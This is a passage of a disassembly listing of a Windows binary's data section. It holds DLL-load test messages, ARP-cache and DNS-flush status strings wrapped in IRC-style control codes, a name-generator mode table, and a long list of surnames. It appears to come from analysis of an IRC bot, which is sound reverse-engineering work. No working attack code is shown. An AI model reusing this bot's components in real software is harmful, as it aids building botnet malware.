aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+12Co
		align 4
; char aIcmp_dllFailed[]
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+160o
		align 10h
; char aNetapi32_dllFa[]
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+194o
		align 4
; char aDnsapi_dllFail[]
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+1C8o
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+1FCo
		align 10h
; char aMpr32_dllFaile[]
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+230o
		align 4
; char aShell32_dllFai[]
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+264o
		align 4
; char aOdbc32_dllFail[]
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+298o
; char aAvicap32_dllFa[]
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+2CCo
		align 4
; char asc_445258[]
asc_445258	db '-'                  ; DATA XREF: sub_40AAC8+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
a__9:					; DATA XREF: .text:0040AE28o
		unicode	0, <.>,0
a__10:					; DATA XREF: .text:0040AE40o
		unicode	0, <.>,0
unk_445280	db  2Dh	; -		; DATA XREF: sub_40AEC5+8Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
; char asc_4452AC[]
asc_4452AC	db '-'                  ; DATA XREF: sub_40AEC5:loc_40AF58o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_4452DC	db  2Dh	; -		; DATA XREF: sub_40AEC5:loc_40AF1Eo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
unk_445300	db  2Dh	; -		; DATA XREF: sub_40AEC5:loc_40AF8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
; char asc_445330[]
asc_445330	db '-'                  ; DATA XREF: sub_40AEC5+43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGetting_0	db 'error getting ARP cache: %d',0 ; DATA XREF: .data:00455AF8o
					; .data:00455EB4o
; char aD_D_D_D[]
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AFA9+46o
aReal		db 'real',0
		align 10h
		dd 0
dword_445374	dd 0			; DATA XREF: sub_40B487+7o
off_445378	dd offset sub_40B0A2	; DATA XREF: sub_40B487+49r
aConst		db 'const',0
		align 8
		dd 1
		dd offset sub_40B10F
aLetter		db 'letter',0
		align 4
		dd 0
		dd 2
		dd offset sub_40B16D
aComp		db 'comp',0
		align 10h
		dd 3
		dd offset sub_40B1BA
aCountry	db 'country',0
		dd 0
		dd 4
		dd offset sub_40B260
		dd 736Fh, 2 dup(0)
		dd 5
		dd offset sub_40B2D5
off_4453E0	dd offset aAbdulrazak	; DATA XREF: sub_40B0A2+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_4453EC	dd offset aAddison	; DATA XREF: sub_40B487+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer_0	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
off_445750	dd offset aCiampaglia	; DATA XREF: .data:off_44B5D8o
					; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton_0	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine_0	; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch_0	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
